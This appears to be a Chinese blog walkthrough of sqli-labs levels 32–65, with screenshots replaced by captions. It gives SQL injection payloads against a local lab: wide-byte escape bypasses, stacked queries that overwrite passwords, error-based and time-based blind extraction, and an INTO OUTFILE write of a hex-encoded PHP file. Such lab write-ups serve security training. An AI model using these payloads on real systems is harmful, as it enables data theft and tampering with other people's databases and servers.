这是因为加上反斜杠也就是%5c之后传入参数整体为%df%5c%27,而前面说过,在mysql里认为前两个字符是一个汉字,也就是‘運’,而后面的单引号就逃逸出来了

  • 宽字节注入的本质是PHP与MySQL使用的字符集不同,只要低位的范围中含有0x5c的编码,就可以进行宽字节注入。

sqli-labs大详解(完结)_第122张图片
sqli-labs大详解(完结)_第123张图片

查询时,mysql会在布尔型判断时会将数字开头的字符串当成其开头的数字,但是注意字符串要被引号包裹
sqli-labs大详解(完结)_第124张图片
sqli-labs大详解(完结)_第125张图片
我们的语句变为了
$sql="SELECT * FROM users WHERE id='-1�' union select 1,2,3--+' LIMIT 0,1";

Less-33 Bypass addslashes()

sqli-labs大详解(完结)_第126张图片
和上一关一致,只不过换成了addslashe函数

  • addslashes() 函数
    函数返回在预定义字符之前添加反斜杠的字符串。
    单引号(’)
    双引号(")
    反斜杠(\)
    NULL

Less-34 Bypass Add SLASHES

sqli-labs大详解(完结)_第127张图片
这一关需要抓包,抓包后的工作同less-32关

Less-35 why care for addslashes()

sqli-labs大详解(完结)_第128张图片
因为语句是数字型,那么,他的过滤都是无用的,我们直接进行数字型的注入即可
sqli-labs大详解(完结)_第129张图片

Less-36 Bypass MySQL Real Escape String

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

本关使用了mysql_real_escape_string函数
在这里插入图片描述
同时,设置了gbk编码,那么就会存在宽字节注入
sqli-labs大详解(完结)_第130张图片

Less-37- MySQL_real_escape_string

这一关变为了post传参,其余和正常的宽字节注入一致,
同less-34
sqli-labs大详解(完结)_第131张图片

page-3

Less-38 stacked Query

这一关是堆叠注入,详细的堆叠注入见sql注入总结
总结

sqli-labs大详解(完结)_第132张图片
我们正常查询,因为是堆叠注入,那么我们使用分号,来执行两条命令,我们修改dumb的密码试试
sqli-labs大详解(完结)_第133张图片
使用单引号将1闭合,
sqli-labs大详解(完结)_第134张图片
修改成功
$sql="SELECT * FROM users WHERE id='1';update users set password='12345' where username='Dumb' ;--+' LIMIT 0,1";

Less-39 stacked Query Intiger type

sqli-labs大详解(完结)_第135张图片
因为是数字型,那么我们这次尝试新增一个用户吧
sqli-labs大详解(完结)_第136张图片
执行成功
sqli-labs大详解(完结)_第137张图片

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

Less-40 stacked Query String type Blind

这关关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确
sqli-labs大详解(完结)_第138张图片
执行成功,使用1’)来闭合
sqli-labs大详解(完结)_第139张图片
我们再次修改dumb的密码
sqli-labs大详解(完结)_第140张图片
成功

Less-41 stacked Query Intiger type blind

本关是无报错,其余同39关一样

Less-42 - Stacked Query error based

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = $_POST["login_password"];

sqli-labs大详解(完结)_第141张图片
我们堆叠注入修改admin的密码
sqli-labs大详解(完结)_第142张图片
这是我们之前的密码
sqli-labs大详解(完结)_第143张图片
成功后,
sqli-labs大详解(完结)_第144张图片

less43 POST -Error based -String -Stacked with tiwst(POST型基于错误的堆叠变形字符型注入)

sqli-labs大详解(完结)_第145张图片
sqli-labs大详解(完结)_第146张图片
本关是一个登录页面,对密码处没有过滤,那么我们对密码处进行堆叠注入

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"
这次我们的语句需要闭合‘)了
sqli-labs大详解(完结)_第147张图片
sqli-labs大详解(完结)_第148张图片
sqli-labs大详解(完结)_第149张图片

当然首先需要登陆成功
sqli-labs大详解(完结)_第150张图片
修改成功

Less-44 - Stacked Query blind

同less-42关,只是关闭了报错

less-45 基于报错的password处的’)闭合注入

同less-43关,只是关闭了报错

less-46 ORDER BY-Error-Numeric

sqli-labs大详解(完结)_第151张图片
我们按照他的规则,输入试试,发现是一个排序的表格
sqli-labs大详解(完结)_第152张图片
输如单引号也发现存在报错,那么我们肯定可以报错注入
既然是排序的表格,order by 后面虽然不能进行奇奇怪怪的union注入,但是可以进行desc/asc进行排序
sqli-labs大详解(完结)_第153张图片

sqli-labs大详解(完结)_第154张图片
那么我们可以尝试报错注入

sqli-labs大详解(完结)_第155张图片
http://127.0.0.1/sqli-labs/Less-46/?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
sqli-labs大详解(完结)_第156张图片
有很明显的延时,说明可以使用时间注入

当然我们可以试试写入文件
sqli-labs大详解(完结)_第157张图片
sqli-labs大详解(完结)_第158张图片

sqli-labs大详解(完结)_第159张图片
?sort=1 into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-46\\111.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
我们使用十六进制来替代
sqli-labs大详解(完结)_第160张图片

Less-47 - ORDER BY Clause-Error-Single quote

sqli-labs大详解(完结)_第161张图片
查看源码,我们发现,这里的id增添了单引号而已,其余和46关一致
sqli-labs大详解(完结)_第162张图片

Less-48 - ORDER BY Clause Blind based

同46关,只不过关闭了报错,无法使用报错注入

Less49 - ORDER BY Clause Blind based

同47,关闭了报错,无法使用报错注入

Less50 - ORDER BY Clause Blind based

sqli-labs大详解(完结)_第163张图片
对比46关,存在if (mysqli_multi_query($con1, $sql))说明我们可以进行堆叠注入
sqli-labs大详解(完结)_第164张图片

Less-51 - ORDER BY Clause Blind based

对比47关,多了if (mysqli_multi_query($con1, $sql))
sqli-labs大详解(完结)_第165张图片

Less-52 - ORDER BY Clause Blind based

同50关,关闭了报错,采用报错注入以外的手段

Less-53 - ORDER BY Clause Blind based

同51关,关闭了报错,采用报错注入以外的手段

Page-4

Less-54:Challenge-1

本关只有10次机会,
sqli-labs大详解(完结)_第166张图片
sqli-labs大详解(完结)_第167张图片
我们测试1,1‘,1’ --+
得出结果 正常,异常,正常,
得知,应该是单引号的闭合
那么我们使用orderby 查看有几列
发现到4的时候没有了回显
那么就只有三列,
sqli-labs大详解(完结)_第168张图片
看到了回显,
sqli-labs大详解(完结)_第169张图片
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
我们爆出表名
接着,查出列名

sqli-labs大详解(完结)_第170张图片
sqli-labs大详解(完结)_第171张图片
成功获取到

Less-55:Challenge-2

经过很多很多很多我们的尝试,发现1) --+可以闭合,
sqli-labs大详解(完结)_第172张图片
我们让他回显
sqli-labs大详解(完结)_第173张图片
sqli-labs大详解(完结)_第174张图片
查表名,
sqli-labs大详解(完结)_第175张图片

查列名
http://127.0.0.1/sqli-labs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='2gaf81dvi5' --+

sqli-labs大详解(完结)_第176张图片
最后一波,极限,

Less-56:Challenge-3

本关查询语句是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1

所以payload换为id=-1’) ··· 其余同上一关

Less-57:Challenge-4

本关查询语句改为SELECT * FROM security.users WHERE id="$id" LIMIT 0,1

所以payload换为id=-1" ··· 其余同上一关关

Less-58:Challenge-5

只有五次机会,
sqli-labs大详解(完结)_第177张图片
它存在报错,我们就可以尝试报错注入
sqli-labs大详解(完结)_第178张图片
可以查询,但是没有回显。
sqli-labs大详解(完结)_第179张图片
查到列
sqli-labs大详解(完结)_第180张图片
sqli-labs大详解(完结)_第181张图片

Less-59:Challenge-6

本关查询语句SELECT * FROM security.users WHERE id=$id LIMIT 0,1

所以payload换为id=-1 ··· 其余同上一关

Less-60:Challenge-7

本关查询语句SELECT * FROM security.users WHERE id=("$id") LIMIT 0,1

所以payload换为id=-1") ··· 其余上一关

Less-61:Challenge-8

本关查询语句SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1

所以payload换为id=-1’)) ··· 其余同58关

Less-62:Challenge-9

这关关闭了报错,但是存在很明显的延迟
sqli-labs大详解(完结)_第182张图片
sqli-labs大详解(完结)_第183张图片
修改这个地方aaa 范围是0~128 ascii码

Less-63:Challenge-10

/Less-63/?id=1' --+,回显正常,说明闭合方式为单引号’

同样时间盲注,跟62关一样。

Less-64:Challenge-11

Less-64/?id=1)) --+页面回显正常验证了就是两括号的闭合方式。
时间盲注同62

Less-65:Challenge-12

/Less-65/?id=1") --+页面回显正常,说明闭合方式为双引号括号")

同样时间盲注,跟62关一样。

你可能感兴趣的:(sqli-labs)